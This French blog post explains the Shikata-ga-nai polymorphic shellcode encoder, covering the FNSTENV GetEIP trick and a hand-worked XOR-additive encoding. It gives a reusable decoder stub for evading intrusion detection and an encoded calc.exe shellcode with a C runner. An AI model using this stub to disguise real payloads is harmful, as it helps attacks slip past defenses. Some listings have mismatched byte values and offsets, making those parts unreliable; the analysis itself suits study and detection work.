mercredi 2 août 2017

Le packer "Shikata-ga-nai"


I.    Introduction

Le mot polymorphisme vient du grec et signifie plusieurs formes.Ce terme a été employé en informatique pour la première fois par un pirate bulgare portant le pseudonyme "Dark Avenger", ce dernier ayant créé en 1992 le premier virus polymorphique.

L'objectif du code polymorphique est d'éviter la détection tout en gardant son traitement qu'il doit effectuer.

Le polymorphisme est utilisé dans les shellcodes pour camoufler les attaques sur un réseau.Il est vrai que de  nos jours les IDS  (Intrusion Detection System) répertorient la plupart des structures de shellcodes d'exploit en claire.
C'est pourquoi le polymorphisme permet de passer outre cette détection étant d'une forme différent pour la même charge utile.

I.    Comprendre la structure d'un shellcode polymorphique


La structure des shellcodes auto-déchiffrant est toujours la même : placer un module permettant de déchiffrer au début, le shellcode de la charge utile chiffré à la suite.

Pour éviter les détections notre shellcode devra être encodé mais pour qu'il fonctionne correctement nous devons lui ajouter un décodeur. c'est cela le polymorphisme, plusieurs shellcode distinct, ayant le même traitement lors de l'exécution

La Structure d'un shellcode polymorphique peut être représenté comme en dessous:
 





Le décrypteur effectuera une opération arithmétiques sur les opcodes du shellcode en crypté par bloque ou unitaire ( Phase 2) pour que celui retrouve sa forme initial en mémoire avant de lui passer la main pour être exécuté à la fin du décryptage ( Phase 3 )

I.    L'analyse à partie d'un exemple basique


Nous allons regarder le fonctionnement classique du packer "Shikata-ga-nai".Cette encodeur implémente un "Polymorphic Xor Additive" 

Le décodeur "Shikata Ga Nai" est polymorphique, la plupart de ses instructions peuvent etre remplaces ou même déplacées. En fait il n’existe qu’un seul point fixe lié le GetPC ou GetEIP.
Dans notre exemple nous allons prendre qu'une des implémentations de celui-ci possible.

le GetPC ou GetEIP est le code permettant d'obtenir un point d'encrage dans le code du shellcode qui continent le décrypteur. Cela pour déterminer l'emplacement ou on il se trouve en mémoire et de la il peut fixer les l'emplacement des autres instructions ou code. Et donc du début de la charge encrypté.

Il existe plusieurs moyen d'avoir un GetEIP  (Call / FNSTENV / SEH ... ) cela sera expliquer dans un notre article

la façon de récupérer la valeur d'EIP dans le cas du "Shikata Ga Nai" consiste à utiliser l'instruction FNSTENV assez souvent, via un petit code nous allons montrer cela de manière pratique.

Pour bien comprendre l'appel des instructions permettant de récupérer une référence dans le shellcode et une adresse permettant une localisation notre emplacement dans le shellcode.

Voici la fonction C que nous allons utilisé pour notre étude du GetEIP
 
DWORD __declspec(naked) GetTestAddrReturn(void)
{
    __asm {
                        sub esp,28
                        xor ecx,ecx                             
                        push eax
                        fcmovb st(0),st(7)
                        mov cl,0x08
                        fnstenv [esp-0xc]
                        pop eax
                        add esp,28
                        ret
                }
}

Les opcode X86 de notre fonction sont les suivant:

\x83\xEC\x1C\x33\xC9\x50\xDA\xC7\xB1\x08\xD9\x74\x24\xF4\x58\x83\xC4\x1C\xC3

Nous avons désassemblé celui-ci  pour plus de lisibilité avec l'addresse relatif

00000000:   83 EC 1C            SUB ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000003:   33 C9                  XOR ECX,ECX
00000005:   50                       PUSH EAX
00000006:   DA C7                FCMOVB ST(0),ST(7)
00000008:   B1 08                  MOV CL,0x08
0000000A:   D9 74 24 F4       FNSTENV [ESP-0Ch]
0000000E:   58                       POP EAX
0000000F:   83 C4 1C            ADD ESP,1Ch
00000012:   C3                       RET

Nous avons utilisé un petit programme POC pour valider tout ceci


Lors de l'appel la fonction, elle nous renvoi l'adresse 004012E6, nous voyons que l'adresse correspond l'instruction fcmovb


Un des particularités du décodeur "Shikata Ga Nai" et qu'une partie du décodeur et lui même codé.
Il faut bien comprendre cela qui est la fameuse premier passe ou  il y changement du code du décodeur.

Voici le code du décodeur fixé pour décoder que 4 octets ,nous avons mis en gras les parties importante

00000000        31 C9                         XOR ECX,ECX
00000002        DA C7                       FCMOVB ST(0),ST(7)
00000004        B1 01                         MOV CL,01h
00000006        D9 74 24 F4               FNSTENV [ESP-0Ch]
0000000A       BF 78 0F 5E F3          MOV EDI,0xF35E0F78
0000000F       5B                               POP EBX
00000010        31 7B 15                     XOR DWORD PTR [EBX+15h],EDI
00000013:       03 7B 15                     ADD EDI,DWORD PTR [EBX+15h]
00000016:       83 BB 0B BC 06

Le DWORD  en gras 0x06BC0BBB avec un XOR et la Clé 0xF35E0F78 donne 0xF5E204C3
donc le code suivant en mémoire changera et devient lors de l'exécution

00000016:       83 C3 04 E2 F5

Ce qui transcrit en opcode devient

00000016:       83 C3 04        ADD EBX,04h
00000019:      E2 F5             LOOP  0x00000010

Nous on souhaite voir ce qui ce passe et les différentes clé utilisé au fur et à mesure des décodages

Pour cela nous avons pris un shellcode particulier qui renvoye la prochaine clé en fonction du nombre d'appel de la boucle LOOP.

Voici ce que nous devons avoir en mémoire après le décodage ( C.A.D, c'est notre shellcode en claire)

00000000:   53                          PUSH EBX
00000001:   57                          PUSH EDI
00000002:   83 EC 1C               SUB ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000005:   33 C9                     XOR ECX,ECX
00000007:   50                          PUSH EAX
------------------------------------------------------------------------------- REF GetEIP
00000008:   DA C7                   FCMOVB ST(0),ST(7)
0000000A:   B1 03                    MOV CL,0x03
0000000C:   D9 74 24 F4          FNSTENV [ESP-0Ch]
00000010:   BF 78 0F 5E F3      MOV EDI, F35E0F78h
00000015:   58                          POP EAX
00000016:   8B D8                    MOV EBX,EAX
00000018:   31 7B 17                XOR DWORD PTR [EBX+17h],EDI
0000001B:   03 7B 17               ADD EDI,DWORD PTR [EBX+17h]
0000001E:   83 C3 04                ADD EBX,04h (ADD(r/m16,imm8))
00000021:   E2 F5                     LOOP F5h (-FFFFFFF5h=>:00000018) Dec ECX or CX jump if !=0
00000023:   83 C4 1C               ADD ESP,1Ch
00000026:   8B C7                    MOV EAX,EDI
00000028:   5F                          POP EDI
00000029:   5B                         POP EBX
0000002A:   C3                        RET

Nous allons codé à la main notre shellcode avec le decrytor "Shikata Ga Nai"

Nous allons regroupé les octets pour mieux mettre en valeur et crée les codes encodé à la main pour l'exemple pédagogique car le décodeur "Shikata Ga Nai travail avec des DWORD ( 4 octets ).

Donc il faut que notre shellcode soit constuit en bloc 4 octets ou multiple si c'est pas le cas il faut simplement rajouter des octets quelconque pour completé par exemple ( 0x90 / NOP ... etc )
Dans notre cas nous avons volontairement pris un exemple collant parfaitement

00000000:   53                          PUSH EBX
00000001:   57                          PUSH EDI
00000002:   83 EC 1C               SUB ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000005:   33 C9                     XOR ECX,ECX
00000007:   50                          PUSH EAX
------------------------------------------------------------------------------- REF GetEIP
00000008:   DA C7                   FCMOVB ST(0),ST(7)
0000000A:   B1 03                    MOV CL,0x03
0000000C:   D9 74 24 F4          FNSTENV [ESP-0Ch]
00000010:   BF 78 0F 5E F3      MOV EDI, F35E0F78h
00000015:   58                          POP EAX
00000016:   8B D8                    MOV EBX,EAX
00000018:   31 7B 17                XOR DWORD PTR [EBX+17h],EDI
0000001B:   03 7B 17               ADD EDI,DWORD PTR [EBX+17h]
0000001E:   83                           début de l'instruction ADD EBX,04h (ADD(r/m16,imm8))      
0000001F:   C3 04 E2 F5
00000023    83 C4 1C 8B
00000027    C7 5F 5B C3

La Key1 est 0xF35E0F78 et le premier DWORD est 0xF5E204C3, donc nous aurons comme DWORD encodé (0xF35E0F78 ^ 0xF5E204C3 ) =  0x06BC0BBB

Nous allons donc obtenu la premier passe

00000000:   53                          PUSH EBX
00000001:   57                          PUSH EDI
00000002:   83 EC 1C               SUB ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000005:   33 C9                     XOR ECX,ECX
00000007:   50                          PUSH EAX
------------------------------------------------------------------------------- REF GetEIP
00000008:   DA C7                   FCMOVB ST(0),ST(7)
0000000A:   B1 03                    MOV CL,0x01
0000000C:   D9 74 24 F4          FNSTENV [ESP-0Ch]
00000010:   BF 78 0F 5E F3      MOV EDI, F35E0F78h
00000015:   58                          POP EAX
00000016:   8B D8                    MOV EBX,EAX
00000018:   31 7B 17                XOR DWORD PTR [EBX+17h],EDI
0000001B:   03 7B 17               ADD EDI,DWORD PTR [EBX+17h]
0000001E:   83                           début de l'instruction ADD EBX,04h (ADD(r/m16,imm8))      
0000001F:   BB 0B BC 06       -  DWORD 1 ( Encodé )
00000023    83 C4 1C 8B          
00000027    C7 5F 5B C3

Hors la clé contenu dans EDI à déjà changer suite à premier passe. C'est l'une caractéristique à chaque bloc de 4 octets traité, la clé change.Et donc nous obtenons

EDI = 0xF35E0F78 + F5E204C3  => 0xE940143B  correspondant à la clé Key2

La Key2 est maintenant 0xE940143B et le second DWORD 0x8B1CC483, donc nous aurons comme DWORD encodé (0xE940143B ^ 0x8B1CC483) =  0x625CD0B8

Nous allons donc la deuxième passe encodé

00000000:   53                          PUSH EBX
00000001:   57                          PUSH EDI
00000002:   83 EC 1C               SUB ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000005:   33 C9                     XOR ECX,ECX
00000007:   50                          PUSH EAX
------------------------------------------------------------------------------- REF GetEIP
00000008:   DA C7                   FCMOVB ST(0),ST(7)
0000000A:   B1 03                    MOV CL,0x02
0000000C:   D9 74 24 F4          FNSTENV [ESP-0Ch]
00000010:   BF 78 0F 5E F3      MOV EDI, F35E0F78h
00000015:   58                          POP EAX
00000016:   8B D8                    MOV EBX,EAX
00000018:   31 7B 17                XOR DWORD PTR [EBX+17h],EDI
0000001B:   03 7B 17               ADD EDI,DWORD PTR [EBX+17h]
0000001E:   83                           début de l'instruction ADD EBX,04h (ADD(r/m16,imm8))      
0000001F:   BB 0B BC 06       -  DWORD 1 ( Encodé )
00000023    8B D0 5C 62        -  DWORD 2 ( Encodé )
00000027    C7 5F 5B C3

Hors la clé contenu dans EDI à de nouveau évolué suite à la deuxième passe

EDI = 0xE940143B + 0x8B1CC483 => 0x745CD8BE  correspondant à la clé Key3 pour notre dernier DWORD à encodé

Donc nous aurons comme DWORD encodé (0x745CD8BE  ^ 0xC35B5FC7) =  0xB7078779

Nous allons donc la troisième et dernière bloc encodé. Cela nous donneau final

00000000:   53                          PUSH EBX
00000001:   57                          PUSH EDI
00000002:   83 EC 1C               SUB ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000005:   33 C9                     XOR ECX,ECX
00000007:   50                          PUSH EAX
------------------------------------------------------------------------------- REF GetEIP
00000008:   DA C7                   FCMOVB ST(0),ST(7)
0000000A:   B1 03                    MOV CL,0x03
0000000C:   D9 74 24 F4          FNSTENV [ESP-0Ch]
00000010:   BF 78 0F 5E F3      MOV EDI, F35E0F78h
00000015:   58                          POP EAX
00000016:   8B D8                    MOV EBX,EAX
00000018:   31 7B 17                XOR DWORD PTR [EBX+17h],EDI
0000001B:   03 7B 17               ADD EDI,DWORD PTR [EBX+17h]
0000001E:   83                           début de l'instruction ADD EBX,04h (ADD(r/m16,imm8))      
0000001F:   BB 0B BC 06       -  DWORD 1 ( Encodé )
00000023    8B D0 5C 62        -  DWORD 2 ( Encodé )
00000027    79 87 07 B7          -  DWORD 3 ( Encodé  )

Ce qui nous donne le Shellcode encodé avec le packer inclus "Shikata Ga Nai"

\x53\x57\x83\xEC\x1C\x33\xC9\x50\xDA\xC7\xB1\x03\xD9\x74\x24\xF4
\xBF\x78\x0F\x5E\xF3\x58\x8B\xD8\x31\x7B\x17\x03\x7B\x17\x83\xBB
\x0B\xBC\x06\xB8\xD0\x5C\x62\x79\x87\x07\xB7

Nous avons testé ce shellcode via notre petit programme comme vous pouvez le voir sur la capture suivant:




Nous voyant le décodage en mémoire suite à l'exécution, nous retrouvons le shellcode initial
et la shellcode nous renvoi la prochaine Key4 qui est 0x37B83885

Nous pouvons contrôler 

EDI = 0x745CD8BE  + 0xC35B5FC7 => 0x37B83885 correspondant à la clé Key4

Maintenant  nous allons crée un programme en C pour la génération de n'importe qu'elle shellcode via  l'encodeur "Shikata Ga Nai" étant un cas présentation nous gardons la limite d'un shellcode inférieur à 256.

Maintenant si vous souhaitez étendre pour pouvoir gérer des shellcodes supérieurs

Vous pouvez changer la ligne en rouge, nous avons un peu changer la séquence des opcodes
pour que les offsets reste identique indépendamment de vos changements sur le chargement de ECX

00000000:   53                          PUSH EBX
00000001:   57                          PUSH EDI
00000002:   50                          PUSH EAX
00000003:   83 EC 1C               SUB ESP,1Ch (On alloue l'espace de 28 octets sur la stack)
00000006:   33 C9                     XOR ECX,ECX
00000008:   B1 03                 MOV CL,0x01
------------------------------------------------------------------------------- REF GetEIP
0000000A:   DA C7                  FCMOVB ST(0),ST(7)
0000000C:   D9 74 24 F4          FNSTENV [ESP-0Ch]
00000010:   BF 78 0F 5E F3      MOV EDI, F35E0F78h
00000015:   58                          POP EAX
00000016:   8B D8                    MOV EBX,EAX
00000018:   31 7B 17                XOR DWORD PTR [EBX+15h],EDI
0000001B:   03 7B 17               ADD EDI,DWORD PTR [EBX+15h]
0000001E:   83                           début de l'instruction ADD EBX,04h (ADD(r/m16,imm8))

Pour un shellcode ayant une taille entre 0 et 255

MOV CL,0xZZ                Exemple =>  B1 12                 mov         cl,12h                     

Pour un shellcode ayant une taille  entre 255 et  65535

MOV CX,0xZZZZ            Exemple =>  66 B9 34 12       mov         cx,1234h     

Pour un shellcode ayant une taille  entre 65536 et 4294967295

Mov ECX,0xZZZZZZZZ   Exemple => B9 78 56 34 12   mov         ecx,12345678h

Cela vous donne le model d'un Shellcode générique pour crée des shellcodes polymorphic avec le codeur "Shikata Ga Nai"

\x53\x57\x50\x83\xEC\x1C\x33\xC9\xB1\x03\xDA\xC7\xD9\x74\x24\xF4
\xBF\x78\x0F\x5E\xF3\x58\x8B\xD8\x31\x7B\x15\x03\x7B\x15\x83
\xBB\x0B\xBC\x06 \xB8\xD0\x5C\x62 \x79\x87\x07\xB7

Comme maintenant ce code est indépendant de type de taille vous pouvez écrire cela changera rien au GetEIP étant fixé a pret la taille.

\x53\x57\x50\x83\xEC\x1C\x33\xC9\x66\xB9\x05\x01\xDA\xC7\xD9\x74\x24\xF4
\xBF\x78\x0F\x5E\xF3\x58\x8B\xD8\x31\x7B\x15\x03\x7B\x15\x83
\xBB\x0B\xBC\x06 \xB8\xD0\x5C\x62 \x79\x87\x07\xB7


I.    Générateur de Shellcode  "shikata Ga Nai"


Nous allons prendre un shellcode standard qui effectue un WinExec("calc.exe")

char Shellcode_SampleWinExecCalcX32[]=
"\x78\x35\x35\x8B\xEC\x51\x53\x57\xEB\x6D\x60\x8B\x6C\x24\x24\x8B"
"\x45\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB"
"\xE3\x34\x49\x8B\x34\x8B\x01\xEE\x31\xFF\x31\xC0\xFC\xAC\x84\xC0"
"\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF4\x3B\x7C\x24\x28\x75\xE1\x8B"
"\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B"
"\x01\xE8\x89\x44\x24\x1C\x61\xC3\x56\x57\x33\xC9\x64\x8B\x71\x30"
"\x8B\x76\x0C\x8B\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39"
"\x4F\x18\x75\xF2\x5F\x5E\xC3\x68\x98\xFE\x8A\x0E\xE8\xD7\xFF\xFF"
"\xFF\x50\xE8\x83\xFF\xFF\xFF\xBB\x11\x11\x11\x11\x81\xF3\x11\x11"
"\x11\x11\x53\x68\x2E\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xFC\x6A"
"\x01\x57\xFF\xD0\x5F\x5B\x8B\xE5\x5D\xC3";

vous pouvez test se shellcode via ce petit code C ( pour rappel )

DWORD (*RunShellCode)() = (DWORD(*)())((char*)( Shellcode_SampleWinExecCalcX32[0]));
RunShellCode();

Nous utilisons notre générateur avec le model décrit plus haut


Ce qui nous donne comme shellcode généré incluant le décodeur "Shikata Ga Nai"

\x53\x57\x50\x83\xEC\x1C\x33\xC9\xB1\x2E\xDA\xC7\xD9\x74\x24\xF4
\xBF\x78\x0F\x5E\xF3\x58\x8B\xD8\x31\x7B\x15\x03\x7B\x15\x83\xBB
\x0B\xBC\x06\xB8\xD0\x5C\x62\x79\x87\x07\xE4\xFD\x0D\x8D\x8F\x11
\x3C\xBE\xD8\x02\xD2\x20\x6C\xB8\x09\x85\xF9\x05\x6E\x4E\xA9\x80
\xF6\x51\xB8\x01\x4C\x4A\xB7\x4F\x71\x6B\x2C\x8C\x45\x22\x39\x66
\x2D\xB5\xD3\xB7\xCE\x87\xEB\x4B\x9C\x6C\x2B\xC7\xDA\xAD\x63\x2A
\xE4\xEA\x97\xC0\xDD\x88\x43\x00\x57\x90\x07\x0A\xB3\x53\xF3\xCC
\x30\x5F\x48\x9B\x1D\x7C\x4F\x70\x2A\x78\xC4\x87\xC5\x08\x9E\xA3
\x09\x6A\xDC\xFD\x66\x5F\x2B\x65\x02\xEE\x9B\xEE\x62\x1D\x57\x86
\x96\x96\x21\x6E\x2C\xD6\x8D\xE5\x04\x41\xF7\xB6\x70\xF8\xF5\x17
\xDF\xC1\x92\x3F\x21\x4F\x6C\xD7\x09\xAF\x8E\xD8\xE6\xB8\xF2\xD9
\xF8\xC6\x4E\x34\x16\x28\xA0\xB7\xEB\x5B\xD3\xA6\x1A\x0F\xBB\xE6
\x79\xD7\x5E\x9E\xE2\x46\xCD\x3D\x6E\x74\x67\xC0\x27\x7A\xA8\x9D
\x9C\x0F\xAC\x7C\xE0\x10\xBF

Comme vous pouvez le voir le shellcode n'a plus rien à voir avec celui en claire de la charge utile
Mais il fera lors de son exécution en mémoire le même traitement le lancement du processus "calc.exe"  

I.    Conclusions


Il existe une multitude de codage du  packer "shikata Ga Nai", mais cela vous permet de mieux comprendre le fonctionnement  la principe de celui-ci 
Dans une autre partie j'expliquerais quelque codage du packer "shikata Ga Nai" qui son souvent retrouvé 
dans des shellcodes. l'interêt et de pouvoir détecter si le shellcode X ou Y utilise celui-ci et lire la charge utile sans l'executé via une analyse.